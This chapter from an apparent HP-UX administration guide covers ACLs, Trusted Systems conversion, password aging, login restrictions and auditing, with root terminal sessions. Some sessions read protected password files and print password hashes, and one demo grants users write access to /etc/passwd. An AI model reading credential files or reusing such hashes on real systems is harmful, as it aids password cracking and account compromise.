I am not going to spend lots of time going through what read permissions give you in respect of files or directories. What I am going to do is pose some questions. If you can't answer these questions, then I would suggest that you study your CSA materials a little closer:

I don't think it unreasonable for a CSA to know the answers to these questions. If you feel the need, the answers are at the end of this chapter, but no peeking.

A topic we discuss here is Access Control Lists (ACL). ACLs are supported on both HFS and VxFS (recently) filesystems. They allow a system that is converted to an HP-UX Trusted System to conform to the Orange Book classification of C2 mandatory access controls (see later). With ACLs we can give individual users their own individual permissions for files and directories. In this way, we can customize user access to individual user's requirements, whereas with traditional UNIX permissions, we are stuck with the three-tier structure of user, group, and other.

root@hpeos004[] fstyp -v /dev/vg00/lvol3
vxfs
version: 4
f_bsize: 8192
f_frsize: 1024
f_blocks: 1302528
f_bfree: 313226
f_bavail: 313226
f_files: 9216
f_ffree: 2139030336
f_favail: 2139030336
f_fsid: 1073741827
f_basetype: vxfs
f_namemax: 254
f_magic: a501fcf5
f_featurebits: 0
f_flag: 0
f_fsindex: 7
f_size: 1302528
root@hpeos004[]

root@hpeos004[] getacl /etc/passwd
# file: /etc/passwd
# owner: root
# group: sys
user::r--
group::r--
class:r--
other:r--
root@hpeos004[]

root@hpeos004[] setacl -m 'user:fred:w,user:barney:rw' /etc/passwd
root@hpeos004[] getacl /etc/passwd
# file: /etc/passwd
# owner: root
# group: sys
user::r--
user:barney:rw-
user:fred:-w-
group::r--
class:rw-
other:r--
root@hpeos004[]

root@hpeos004[] setacl -m 'group:quarry:rx' /etc/passwd
root@hpeos004[] getacl /etc/passwd
# file: /etc/passwd
# owner: root
# group: sys
user::r--
user:fred:-w-
user:barney:rw-
group::r--
group:quarry:r-x
class:rwx
other:r--
root@hpeos004[]

root@hpeos004[] setacl -nm 'class:---' /etc/passwd
root@hpeos004[] getacl /etc/passwd
# file: /etc/passwd
# owner: root
# group: sys
user::r--
user:fred:-w-   #effective:---
user:barney:rw- #effective:---
group::r--      #effective:---
group:quarry:r-x        #effective:---
class:---
other:r--
root@hpeos004[]

root@hpeos004[] setacl -m 'class:rwx' /etc/passwd
root@hpeos004[] getacl /etc/passwd
# file: /etc/passwd
# owner: root
# group: sys
user::r--
user:fred:-w-
user:barney:rw-
group::r--
group:quarry:r-x
class:rwx
other:r--
root@hpeos004[]

root@hpeos004[] ll /etc/passwd
-r--rwxr--+  1 root       sys            862 Oct  4 15:07 /etc/passwd
root@hpeos004[]

root@hpeos004[] chmod 444 /etc/passwd
root@hpeos004[] ll /etc/passwd
-r--r--r--+  1 root       sys            862 Oct  4 15:07 /etc/passwd
root@hpeos004[] getacl /etc/passwd
# file: /etc/passwd
# owner: root
# group: sys
user::r--
user:fred:-w-   #effective:---
user:barney:rw- #effective:r--
group::r--
group:quarry:r-x        #effective:r--
class:r--
other:r--
root@hpeos004[]

root@hpeos004[] pax -w -f /tmp/pax.out /etc
pax: /etc/passwd : Optional ACL entries are not backed up.
root@hpeos004[]

root@hpeos003[] getacl /etc/passwd
# file: /etc/passwd
# owner: root
# group: sys
user::r--
user:barney:rw-
user:fred:-w-
group::r--
group:quarry:r-x
class:rwx
other:r--
root@hpeos003[]
root@hpeos003[] mkdir ~root/ACL
root@hpeos003[] getacl /etc/passwd > ~root/ACL/passwd.acl
root@hpeos003[] cat ~root/ACL/passwd.acl
# file: /etc/passwd
# owner: root
# group: sys
user::r--
user:barney:rw-
user:fred:-w-
group::r--
group:quarry:r-x
class:rwx
other:r--
root@hpeos003[]
root@hpeos003[] setacl -d 'user:fred,user:barney,group:quarry' /etc/passwd
root@hpeos003[] getacl /etc/passwd
# file: /etc/passwd
# owner: root
# group: sys
user::r--
group::r--
class:r--
other:r--
root@hpeos003[]
root@hpeos003[] setacl -f ~root/ACL/passwd.acl /etc/passwd
root@hpeos003[] getacl /etc/passwd
# file: /etc/passwd
# owner: root
# group: sys
user::r--
user:barney:rw-
user:fred:-w-
group::r--
group:quarry:r-x
class:rwx
other:r--
root@hpeos003[]

root@hpeos004[] lsacl -l /stand/vmunix
/stand/vmunix:
rwx root.%
r-x %.sys
r-x %.%
root@hpeos004[]

root@hpeos004[] chacl 'fred.%=w,barney.%=rw,%.quarry=rx' /stand/vmunix
root@hpeos004[] lsacl -l /stand/vmunix
/stand/vmunix:
rwx root.%
-w- fred.%
rw- barney.%
r-x %.sys
r-x %.quarry
r-x %.%
root@hpeos004[]

root@hpeos004[] ll /stand/vmunix
-rwxr-xr-x+  1 root       sys        25932192 Sep 20 10:32 /stand/vmunix
root@hpeos004[] chmod 755 /stand/vmunix
root@hpeos004[] ll /stand/vmunix
-rwxr-xr-x   1 root       sys        25932192 Sep 20 10:32 /stand/vmunix
root@hpeos004[] lsacl -l /stand/vmunix
/stand/vmunix:
rwx root.%
r-x %.sys
r-x %.%
root@hpeos004[]

root@hpeos004[] chacl 'fred.%=w,barney.%=rw,%.quarry=rx' /stand/vmunix
root@hpeos004[] lsacl -l /stand/vmunix
/stand/vmunix:
rwx root.%
-w- fred.%
rw- barney.%
r-x %.sys
r-x %.quarry
r-x %.%
root@hpeos004[] chmod -A 755 /stand/vmunix
root@hpeos004[] ll /stand/vmunix
-rwxr-xr-x+  1 root       sys        25932192 Sep 20 10:32 /stand/vmunix
root@hpeos004[] lsacl -l /stand/vmunix
/stand/vmunix:
rwx root.%
-w- fred.%
rw- barney.%
r-x %.sys
r-x %.quarry
r-x %.%
root@hpeos004[]

HP-UX Trusted Systems come standard with HP-UX. It is installed by default (the product is called SecurityMon), although the functionality is not enabled by default. We can convert to a Trusted System and revert back if we wish. It is fully integrated into SAM, and SAM is the preferred method of managing Trusted Systems because the file structure is a little tricky to begin with and if you get it wrong, it can potentially render the system unusable. These features might persuade you to think about using Trusted Systems:

This functionality does not come without a price. Here are some disadvantages of implementing Trusted Systems:

Most security-conscious installations are moving toward Trusted Systems due to the increase in security and the flexibility in configuration as well as activity auditing and monitoring.

Trusted Systems is one measure of the commitment HP has toward overall operating system security. There are many international standards governing security. One such standard that is still used these days (although it doesn't deal well with networking and the Internet) is known as the Orange Book standard. It is published by the United States military and governs what they deem as being secure. If a computer manufacturer wants to measure the level of security that their products offer, the Orange Book is one such measure. Officially, the Orange Book is known as the Trusted Computer System Evaluation Criteria (TCSEC), hence, everyone calls it the Orange Book. The name Orange Book comes from the fact that this book is part of a series of books known as the Rainbow Series where each book has a different colored cover (literally) in order to easily identify them. Since the color is a unique identifier, we can simply refer to the relevant publication by the color of its cover; isn't that neat? If you want more information on the Rainbow Series, you can browse to http://www.radium.ncsc.mil/tpep/library/rainbow/. The Orange Book defines different divisions and classes of security. I have included extracts from the Orange Book to highlight how serious security is and probably always will be. The Orange Book has many definitions scattered through it. One definition that is used within HP-UX Trusted System is Trusted Computing Base (TCB). The Orange Book definition declares a TCB to be:

This makes sense when you read it carefully; it's all the mechanisms used to secure a system. Here are the four divisions and associated classes within the Orange Book specification. Try to work out which class HP-UX Trusted Systems would be associated with (if it was subjected to a formal review):

These are only summaries of the different divisions and classes as defined by the Orange Book. Please don't think the Orange Book is the definition for computer security. It isn't. There are many omissions relevant to today's computer systems including technologies such as the Internet. If you want to design your own security policy, you need to encompass a whole raft of ideas not covered by the Orange Book such as user responsibilities, management responsibilities, user awareness and training, network usage, and Internet usage to name but a few. One alternative is known as the Information Technology Security Evaluation Criteria (ITSEC), developed by members of the European Community. ITSEC does not employ a hierarchy of security classifications as in the Orange Book, but defines a range of security functions including the following:

Evaluation levels are used (E0 through E6) that represent a level of confidence in the correctness in the functions and mechanisms employed. More information on ITSEC can be found at many sites of member states, for example, http://www.iwar.org.uk/comsec/resources/standards/itsec.htm.

Such standards and evaluation criteria can form the basis of a security policy for your organization. We won't go into writing a security policy here. We are here to talk about HP-UX Trusted Systems. HP-UX Trusted Systems can be part of the tools you use to implement the mechanics of parts of a security policy. We look at aspects of HP-UX Trusted Systems through a series of demonstrations of the following features:

We will configure these features for individual users as well as for the system as a whole, where relevant. Let's get started.

The preferred method of converting a system to Trusted Systems is by using SAM. The resulting files and directories that manage the Trusted Computing Base (TCB) are sensitive to inappropriate editing (don't mess it up) leading to a system which may lock out every user, including root. Such a situation would probably need the use of the Recovery Media, the Recovery Shell, and some clever backing out of the TCB configuration.

To enable Trusted Systems from within SAM, you would navigate from the Main Menu − Auditing and Security and then to any of the four sub-menus titled “Audited Events,” “Audited System Calls,” “Audited Users,” or “System Security Policies.” At that point, you receive a dialog window similar to the one shown in Figure 29-2.

Figure 29-2. Converting to Trusted Systems.

Choosing the Yes button will result in the TCB being established. This includes taking all of your passwords out of the /etc/passwd file and storing them within the TCB. The command that SAM is running is the command /usr/lbin/tsconvert. Here's the output I received when running tsconvert:

root@hpeos004[] /usr/lbin/tsconvert
Creating secure password database...
Directories created.
Making default files.
System default file created...
Terminal default file created...
Device assignment file created...
Moving passwords...
secure password database installed.
Converting at and crontab jobs...
At and crontab files converted.
root@hpeos004[]

We look at the directory structure of the TCB in the next section, but just to give you an idea of some of the things that have happened, here's my /etc/passwd file after I converted to a Trusted System:

root@hpeos004[] more /etc/passwd
root:*:0:3::/:/sbin/sh
daemon:*:1:5::/:/sbin/sh
bin:*:2:2::/usr/bin:/sbin/sh
sys:*:3:3::/:
adm:*:4:4::/var/adm:/sbin/sh
uucp:*:5:3::/var/spool/uucppublic:/usr/lbin/uucp/uucico
lp:*:9:7::/var/spool/lp:/sbin/sh
nuucp:*:11:11::/var/spool/uucppublic:/usr/lbin/uucp/uucico
hpdb:*:27:1:ALLBASE:/:/sbin/sh
oracle:*:102:102:Oracle:/home/oracle:/usr/bin/sh
www:*:30:1::/:
webadmin:*:40:1::/usr/obam/server/nologindir:/usr/bin/false
bonzo:*:101:20::/home/bonzo:/sbin/sh
mikey:*:103:20::/home/mikey:/sbin/sh
stevo:*:104:20::/home/stevo:/sbin/sh
fred:*:105:20::/home/fred:/sbin/sh
barney:*:106:20::/home/barney:/sbin/sh
wilma:*:107:20::/home/wilma:/sbin/sh
betty:*:108:20::/home/betty:/sbin/sh
felix:*:109:20::/home/felix:/sbin/sh
ck:*:110:20::/home/ck:/sbin/sh
tftp:*:510:1:Trivial FTP user:/home/tftpdir:/usr/bin/false
root@hpeos004[]

As you can see, all my encrypted passwords have now been replaced with an asterisk (*). This normally indicates a deactivated account. With programs such as Crack, we get a message back something like “Nothing to crack”; the passwords are in a secure location in the TCB database that only root can get to.

To convert back to a non-Trusted System, I could perform the reverse operations from within SAM. The other method is to use tsconvert again:

root@hpeos004[] /usr/lbin/tsconvert -r
Restoring /etc/passwd...
/etc/passwd restored.
Deleting at and crontab audit ID files...
At and crontab audit ID files deleted.
root@hpeos004[]

NOTE: Earlier (pre 11i) versions of HP-UX had this command, but tsconvert did not perform the whole task of un-Trusting a system, e.g., the audit ID files used by cron and at were left on the system. Be careful if you use tsconvert at the command line.

Now I am going to mention a situation I found myself in while being a Response Center High Availability Resolution Engineer. This particular customer had converted to a Trusted System and then started manually editing the files within the TCB. Whatever he did made the entire system unusable! He had completely corrupted the TCB and decided that a reboot was going to sort out all his problems. The upshot was that no one could log in to the system, not even in single-user mode. We couldn't even boot in LVM maintenance mode because someone had corrupted the /stand/rootconf file – but that's another story. The customer didn't have a recent backup of the /etc/passwd file (we would have to recover the 1,200 user password from the TCB) and didn't want to remove any of the TCB files. In the end, what I did to temporarily un-Trust the system was to boot the system from the Recovery Media, run a Recovery Shell, and then simply rename the /tcb directory (where the TCB is held). This effectively meant that we could reset the root password, now maintained in the /etc/passwd file, which allowed us to boot the system normally and attempt to recover the TCB. Once the system was booted normally (after having to fix the problem with the /stand/rootconf file), I investigated the extent of damage in the TCB. The customer realized that it was user error that caused the problem. The resolution was to un-Trust the system using a standard supported method, and re-Trust it once the TCB was deleted and re-established. You shouldn't consider a system completely un-Trusted by simply renaming the /tcb directory. This was a quick fix to recover a rather sick system. You have been warned!

In converting a system to a Trusted System, we are initiating a process whereby a series of files and directories are created under the directory /tcb. Figure 29-3 gives you a basic idea of what the files and directories mean.

Figure 29-3. Structure of the TCB.

As we can see, each user has his own security file; for example root has a separate security file under /tcb/files/auth/r/root. Here is the file created on my system:

root@hpeos004[] cat /tcb/files/auth/r/root
root:u_name=root:u_id#0:
        :u_pwd=RNeo9DPApktR.:
        :u_bootauth:u_auditid#0:
        :u_auditflag#1:
        :u_pswduser=root:u_suclog#1065192971:u_lock@:chkent:
root@hpeos004[]

The files under /tcb/files/auth/* are collectively known as the Protected Password Database. Only root can get to these files. If you are looking for someone's password, it will be in a file under this directory. There are files and directories that contain system-wide information as well as user-specific information. If you ever find two files with a similar name and the second one has –t appended to it, this is the way Trusted Systems performs file locking. If there is a problem with accessing a particular file, it may be due to the presence of an old –t file. If so, you should remove the –t manually, but make sure there is a problem first.

root@hpeos004[] cat /tcb/files/auth/r/root
root:u_name=root:u_id#0:
        :u_pwd=RNeo9DPApktR.:
        :u_bootauth:u_auditid#0:
        :u_auditflag#1:
        :u_pswduser=root:u_suclog#1065192971:u_lock@:chkent:
root@hpeos004[]

We can control many aspects of a user's password including the following:

If we look at the /tcb/files/auth/system/default file, we can see the entities that can generate a new password for a user:

root@hpeos004[system] cat default
default:
        :d_name=default:
        :d_boot_authenticate@:
        :u_pwd=*:
        :u_owner=root:u_auditflag#-1:
        :u_minchg#0:u_maxlen#8:u_exp#15724800:u_life#16934400:
        :u_pw_expire_warning#604800:u_pswduser=root:u_pickpw:u_genpwd:
        :u_restrict@:u_nullpw@:u_genchars@:u_genletters:
        :u_suclog#0:u_unsuclog#0:u_maxtries#3:u_lock:
        :
        :t_logdelay#2:t_maxtries#10:t_login_timeout#0:
        :chkent:
root@hpeos004[system]

By default, the only entity that will generate a password for a user that users choose themselves (u_pickpw). I leave it to you to investigate the possibility of the system generating passwords for users. Users can elect to have a pronounceable (u_genpwd) password generated or a password containing only random letters (u_genletters). Passwords have a maximum length (u_maxlen=8) of eight characters. If we set the maximum password length too high, the system could generate passwords that users may find extremely difficult to remember. That results in users performing the age-old trick of managing passwords: writing them on a piece of paper and sticking it to their screen—not a good idea. Null passwords (u_nullpw) are not allowed. I like the idea of using triviality checks (u_restrict) when users change their password. This capability is turned off by default. If we enable it, then a user's password will be subject to triviality checks such as: a palindrome, a user or group name, and a word found in a common dictionary. I feel that these restrictions, along with the default password restrictions, strengthen a password against attack. You should warn your users about password aging when you enable Trusted Systems. If you have used password aging before (in a non-Trusted System), you will recall that we specify times in a number of weeks. In a Trusted System, the times are expressed in seconds. By default, a password expires (u_exp) after 182 days (15,724,800 seconds). If a password expires and is not changed before the password lifetime expires (u_life=16934400 seconds=196 days), the password is removed and the account is locked. The user is given a warning (u_pw_expire_warning=604800) regarding an upcoming password change seven days before it happens. Make sure that you know the difference between a password having a lifetime (u_life), the lifetime of an account (u_acct_expire), and the inactivity timer (u_llogin), all of which can disable an account.

I also think you should consider using the option to force users to maintain their passwords (u_minchg). If a user is forced to change his password, there is the temptation to revert to the old password immediately. By default, they could do that because of u_minchg=0. Another aspect of this idea is to maintain a history of previous passwords. This is accomplished by entries in a file external to the TCB. The file in question is /etc/default/security. This file does not exist by default. If we create it, we can use a variable called PASSWORD_HISTORY_DEPTH:

root@hpeos004[] vi /etc/default/security
PASSWORD_HISTORY_DEPTH=3
root@hpeos004[]

In this case, a new password is checked against the last three passwords. If the new password is the same as a previous password, the user must choose a different one. Password histories are stored in files under the directory /tcb/files/auth/system/pwhist:

root@hpeos004[pwhist] pwd
/tcb/files/auth/system/pwhist
root@hpeos004[pwhist] ll
total 12
-rw-------   1 root       sys          14080 Oct  4 16:15 pwhist_0
root@hpeos004[pwhist] more pwhist_0







felix:00er4b10c59cSX1cfe43cbaE23fcb011yEa705714cBIc9f159ab:

root@hpeos004[pwhist]

We see other uses for the /etc/default/security configuration file later. Be careful if you are going to edit these files directly. Using SAM is always safer. Alternately, you could use the commands /usr/lbin/modprpw and /usr/lbin/getprpw. These are the commands that SAM uses to effect changes in the protected password database. There is a manual page for them, so I won't bore you with any examples here. After making any changes, it's a good idea to check the consistency of the protected password database by using the command /usr/sbin/authck:

root@hpeos004[] authck -vp
finding all entries in the Protected Password database, in /tcb/files/auth

Checking format of files in Protected Password database /tcb/files/auth
finding all entries in the Protected Password database, in /tcb/files/auth
Format of all Protected Password entries OK

Checking Protected Password against getprpwent()

Checking Protected Password against /etc/passwd

Checking Protected Password fields against those in /etc/passwd

Checking internal consistency of Protected Password fields
root@hpeos004[]

By default, there are no restrictions where and when a user can log in to the system. If we think about it, most of our users log in at about 09:00 and logout around 17:00, Monday through Friday. Ask yourself the question, “When do hackers log in?” It's not normally during working hours for fear of being detected. I think it makes sense that if your users follow a regular login time pattern, then you should apply that pattern to all users (I would probably leave root and system users out of that pattern). We apply these time-based access controls in a user's protected password database file via the u_tod capability. I have highlighted the restrictions for the user fred by putting them on their own line:

root@hpeos004[f] cat fred
fred:u_name=fred:u_id#105:
        :u_pwd=7Hcf1zI4QmdzU:
        :u_auditid#16:
        :u_auditflag#1:
        :u_succhg#1065283999:u_pswduser=fred:u_pwchanger=root:
        :u_tod=Wk0800-1700:
        :u_suclog#1065276441:u_lock@:chkent:
root@hpeos004[f]

The Time Of Day (TOD) specification contains a day and a time component. The day component can be an abbreviated day name, e.g., Mo, Tu, We, Th, Fr, Sa, and Su, or a special day name, e.g., Any = any day, Wk = weekdays only. The time component uses the 24-hour clock format and is normally specified as a range within which the user is allowed to log in. Up to four specific times can be specified, separated by commas. If you specify more than four specific times, the u_tod capability becomes corrupt; this is due to a system-wide definition that limits the length of the u_tod capability to 50 characters:

root@hpeos004[] grep AUTH_TOD_SIZE /usr/include/prot.h
#define AUTH_TOD_SIZE         50      /* length of time-of-day constraints */
        char    fd_tod[AUTH_TOD_SIZE];        /* times when user may login */
root@hpeos004[]

The Time Of Day specification is a simple but effective way of limiting access to your system. It might be a good idea to put in place a company-wide process whereby users need to notify the IT department that they require system access outside of normal working hours, whereby you can tweak an individual user's access times accordingly.

Imposing location-based access controls can prove a little trickier. Location-based access controls require you to specify the terminal device files through which users can log in. Only those specified users are allowed to use those particular terminals. The tricky part is that most terminal sessions are initiated over the network and use pseudo ttys. Consequently, we don't know in advance which ttys specific users will be assigned. If you are using a network device such as a terminal concentrator (a DTC to us HP-types), you can commonly nail a port on the DTC to a specific device file. In such a situation, you could impose location-based access controls. The idea is to ask yourself a simple question: “Where does fred log in from?” If it's from the same terminal day after day, then why not nail fred to that terminal by including only fred's name to the list of authorized users for a specific device file? It does mean that if fred goes for a wander to another terminal, he will not be able to access the system. There are good and bad points to such a situation.

Location-based access controls are set up in the /tcb/files/devassign file. On my system, I have allowed only fred and barney to log in to the terminal associated with /dev/tty0p1:

root@hpeos004[files] pwd
/tcb/files
root@hpeos004[files] tail devassign
pts/52:v_devs=/dev/pts/52:v_type=terminal:chkent:
pts/53:v_devs=/dev/pts/53:v_type=terminal:chkent:
pts/54:v_devs=/dev/pts/54:v_type=terminal:chkent:
pts/55:v_devs=/dev/pts/55:v_type=terminal:chkent:
pts/56:v_devs=/dev/pts/56:v_type=terminal:chkent:
pts/57:v_devs=/dev/pts/57:v_type=terminal:chkent:
pts/58:v_devs=/dev/pts/58:v_type=terminal:chkent:
pts/59:v_devs=/dev/pts/59:v_type=terminal:chkent:
tty0p1:v_devs=/dev/tty0p1:v_users=fred,barney:
        :v_type=terminal:chkent:
root@hpeos004[files]

If you are setting up location-based access controls from within SAM, you need to navigate to Peripheral Devices - Terminals and Modems.

The motivation for activating auditing is usually attributed to the motivation of wanting to know who caused and why a particular event occurred. Usually, we are not particularly interested in the normal day-to-day activities of users. When something goes wrong, we (and management!) suddenly want to know every nuance of what the users were up to at and around the time of the incident. Before we look at setting up auditing, you should know this:

First, we need to set up the auditing log files in order to accommodate the voluminous amounts of data generated by the auditing system. We can then add users, events, and even system calls to the list of objects being audited.

root@hpeos004[] cat /etc/rc.config.d/auditing
#!/sbin/sh
# @(#)B.11.11_LR
# Auditing configuration. See audsys(1m), audevent(1m)
#
# AUDITING:   Set to 1 to enable the auditing system. Note: if auditing
#               is enabled via SAM, the AUDITING and other configuration
#               variables are ignored.
#
# PRI_AUDFILE: Pathname of file where audit records begin to be logged.
# PRI_SWITCH: switch size (maximum size in kbytes for primary audit log file)
# SEC_AUDFILE: file audit system switches to when primary reaches switch size
# SEC_SWITCH: switch size of secondary file (maximum size in kbytes for
#               secondary audit log file)
#
# Note: If the system has any mounted volumes, you might want to put the
# primary and secondary audit log files on different volumes to take maximum
# advantage of audit file switching.
#
# Note: For security, the path to the audit files must not be readable or
# writable except by authorized users.
#
# AUDEVENT_ARGS:
#               Arguments to the audevent command. See audevent(1m)
#               There are three instances of AUDEVENT_ARGS.
#
#               AUDEVENT_ARGS1 describes those events that are audited
#               for both success and failure.
#
#               AUDEVENT_ARGS2 describes those events that are success only.
#
#               AUDEVENT_ARGS3 describes those events that are failure only.
#
#               A null string for AUDEVENT_ARGSx is assigned to arguments
#               that don't apply.
#
#               By default, AUDEVENT_ARGS1 is set to:
#                       "-P -F -e moddac -e login -e admin"
#               which causes audevent to deal with:
#                       1) changing discretionary access control (DAC),
#                       2) logging in, and
#                       3) administering the system will be audited.
#               While these may be a reasonable defaults on some systems,
#               only the security officer/administrator can determine exactly
#               what is needed.
#
# AUDOMON_ARGS: Arguments to the audomon daemon. See audomon(1m)
#               By default, AUDOMON_ARGS is set to "-p 20 -t 1 -w 90".
#               The audomon daemon takes the following arguments:
#
#         fss = minimum percentage of free space left on an audit log file's
#               file-system before switching to the secondary audit log file
#               (which may reside on a separate volume/partition),
#               or before taking protective action if no file space is left.
#               (default: 20%)
#     sp_freq = minimum wakeup interval (in minutes), at which point
#               warning messages are generated on the console about
#               switch points. Switch points are the maximum log file
#               sizes and the percentage minimum free space specified.
#               (default: 1  minute)
#     warning = percentage of audit file space used or minimum free space
#               used after which warning messages are sent to the console.
#               (default: 90 - warning messages are sent when the files
#               are 90% full or available free space is 90% used)
#
# Format:     audomon -p fss -t sp_freq -w warning
#
AUDITING=0
PRI_AUDFILE=/.secure/etc/audfile1
PRI_SWITCH=1000
SEC_AUDFILE=/.secure/etc/audfile2
SEC_SWITCH=1000
AUDEVENT_ARGS1=" -P -F   -e moddac -e login -e admin"
AUDEVENT_ARGS2=""
AUDEVENT_ARGS3=""
AUDEVENT_ARGS4=""
AUDOMON_ARGS=" -p 20 -t 1 -w 90"
root@hpeos004[pwhist]

PRI_AUDFILE=/.secure/etc/audfile1
PRI_SWITCH=1000
SEC_AUDFILE=/.secure/etc/audfile2
SEC_SWITCH=1000

root@hpeos004[] bdf | grep audit
/dev/vg00/audit1    106496    1144   98775    1% /auditing/audfile1
/dev/vg00/audit2    106496    1133   98785    1% /auditing/audfile2
root@hpeos004[]

root@hpeos004[etc] audsys -c /auditing/audfile1/audfile1 -s 97280 -x /auditing/audfile2/audfile2 -z 97280
root@hpeos004[etc]

root@hpeos004[] audusr -d fred
root@hpeos004[]

root@hpeos004[] audevent -P -F -e ipcclose
root@hpeos004[] audevent -E
     event:         moddac: success failure
     event:          login: success failure
     event:          admin: success failure
     event:       ipcclose: success failure
   syscall:          close: success failure
   syscall:          chmod: success failure
   syscall:          chown: success failure
   syscall:         lchmod: success failure
   syscall:          stime: success failure
   syscall:           acct: success failure
   syscall:         reboot: success failure
   syscall:         utssys: success failure
   syscall:          umask: success failure
   syscall:         swapon: success failure
   syscall:   settimeofday: success failure
   syscall:         fchown: success failure
   syscall:         fchmod: success failure
   syscall:      sethostid: success failure
   syscall:      setrlimit: success failure
   syscall:        privgrp: success failure
   syscall:     setprivgrp: success failure
   syscall:          plock: success failure
   syscall:          semop: success failure
   syscall:  setdomainname: success failure
   syscall:    rfa_netunam: success failure
   syscall:         setacl: success failure
   syscall:        fsetacl: success failure
   syscall:       setaudid: success failure
   syscall:     setaudproc: success failure
   syscall:       setevent: success failure
   syscall:      audswitch: success failure
   syscall:         audctl: success failure
   syscall:       shutdown: success failure
   syscall:    ipcshutdown: success failure
   syscall:          mpctl: success failure
   syscall:        putpmsg: success failure
   syscall:        adjtime: success failure
   syscall:          kload: success failure
   syscall:        fdetach: success failure
   syscall:      serialize: success failure
   syscall:         lchown: success failure
   syscall: sched_setparam: success failure
   syscall: sched_setscheduler: success failure
   syscall:  clock_settime: success failure
   syscall:        toolbox: success failure
   syscall:    setrlimit64: success failure
   syscall:        modload: success failure
   syscall:       moduload: success failure
   syscall:        modpath: success failure
   syscall:        getksym: success failure
   syscall:         modadm: success failure
   syscall:        modstat: success failure
   syscall:         spuctl: success failure
   syscall:            acl: success failure
   syscall:        settune: success failure
   syscall:    pset_assign: success failure
   syscall:      pset_bind: success failure
   syscall:   pset_setattr: success failure
root@hpeos004[]

root@hpeos004[] audisp -p -c chown -t 10032000 -s 10042100 /auditing/audfile1/audfile1
All users are selected.
Selected the following events:
16
All ttys are selected.
Selecting only successful events.
start time :
Oct  3 20:00:00 2003

stop time :
Oct  4 21:00:00 2003

TIME             PID E  EVENT   PPID    AID       RUID       RGID       EUID       EGID TTY

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
031004 19:22:38  6538 S    16   6537      0          0          3          0          2 ???
[ Event=chown; User=root; Real Grp=sys; Eff.Grp=bin;  ]

     RETURN_VALUE 1 = 0;
     PARAM #1 (file path) = 0 (cnode);
                            0x00000001 (dev);
                            1494 (inode);
              (path) = /dev/pts/1
     PARAM #2 (int) = 0
     PARAM #3 (int) = 3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
031004 19:28:09  6628 S    16   6609      0          0          3          0          3 ???
[ Event=chown; User=root; Real Grp=sys; Eff.Grp=sys;  ]

     RETURN_VALUE 1 = 0;
     PARAM #1 (file path) = 0 (cnode);
                            0x40000003 (dev);
                            5161 (inode);
              (path) = /tcb/files/auth/r/root-t
     PARAM #2 (int) = 0
     PARAM #3 (int) = 0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
031004 19:28:09  6628 S    16   6609      0          0          3          0          3 ???
[ Event=chown; User=root; Real Grp=sys; Eff.Grp=sys;  ]

     RETURN_VALUE 1 = 0;
     PARAM #1 (file path) = 0 (cnode);
                            0x40000003 (dev);
                            5215 (inode);
              (path) = /.Xauthority
     PARAM #2 (int) = 0
     PARAM #3 (int) = 3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
031004 19:28:09  6655 S    16   6628      0          0          3          0          3 ???
[ Event=chown; User=root; Real Grp=sys; Eff.Grp=sys;  ]

     RETURN_VALUE 1 = 0;
     PARAM #1 (file path) = 0 (cnode);
                            0x40000008 (dev);
                            5413 (inode);
              (path) = /var/dt/appconfig/appmanager/root-192.168.0.70-0
     PARAM #2 (int) = 0
     PARAM #3 (int) = 3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
031004 19:28:14  6674 S    16   6673      0          0          3          0          2 ???
[ Event=chown; User=root; Real Grp=sys; Eff.Grp=bin;  ]

     RETURN_VALUE 1 = 0;
     PARAM #1 (file path) = 0 (cnode);
                            0x00000001 (dev);
                            1493 (inode);
              (path) = /dev/pts/0
     PARAM #2 (int) = 0
     PARAM #3 (int) = 3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
031004 19:32:35  6881 S    16   6880      0          0          3          0          2 ???
[ Event=chown; User=root; Real Grp=sys; Eff.Grp=bin;  ]

     RETURN_VALUE 1 = 0;
     PARAM #1 (file path) = 0 (cnode);
                            0x00000001 (dev);
                            1494 (inode);
              (path) = /dev/pts/1
     PARAM #2 (int) = 0
     PARAM #3 (int) = 3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
root@hpeos004[]

We all know why and how to boot the system into single-user mode, don't we? It's a useful feature when you have corrupted startup configuration files that are stopping your system from booting, or the root account is locked because you have changed the root password and you can't remember it. Single-user mode allows us to be logged in as root on the console without knowing the root password. From there, we can effect changes to rectify the situation. This is both a good thing and a bad thing. If we know about single-user mode, then so does everyone else who can read any significant book on HP-UX system administration. It won't be the first time someone within an organization has reset (using the RS command) the system by logging into the GSP/MP (if you have one) and then interrupting the boot process to issue the hpux –is command from the ISL prompt. Is this logged anywhere? The GSP/MP maintains a Console Log of activity on the system console including single-user mode. This may be a little too late, but at least we can see what they were doing (assuming they haven't flooded the 20KB buffer with garbage). A better solution would be to restrict access to the GSP/MP/console and set up your Trusted Systems configuration in such a way as to request authentication when booting the system even in single-user mode. This does set up a paradox; if I forget the root password and need to boot in single-user mode, won't it ask me for the root password? The answer is probably yes. Boot authentication is established in two places. First, it's in the /tcb/files/auth/system/default file:

root@hpeos004[system] pwd
/tcb/files/auth/system
root@hpeos004[system] cat default
default:
        :d_name=default:
        :d_boot_authenticate@:
        :u_pwd=*:
        :u_owner=root:u_auditflag#-1:
        :u_minchg#0:u_maxlen#8:u_exp#15724800:u_life#16934400:
        :u_llogin#17280000:u_pw_expire_warning#604800:u_pswduser=root:u_pickpw:
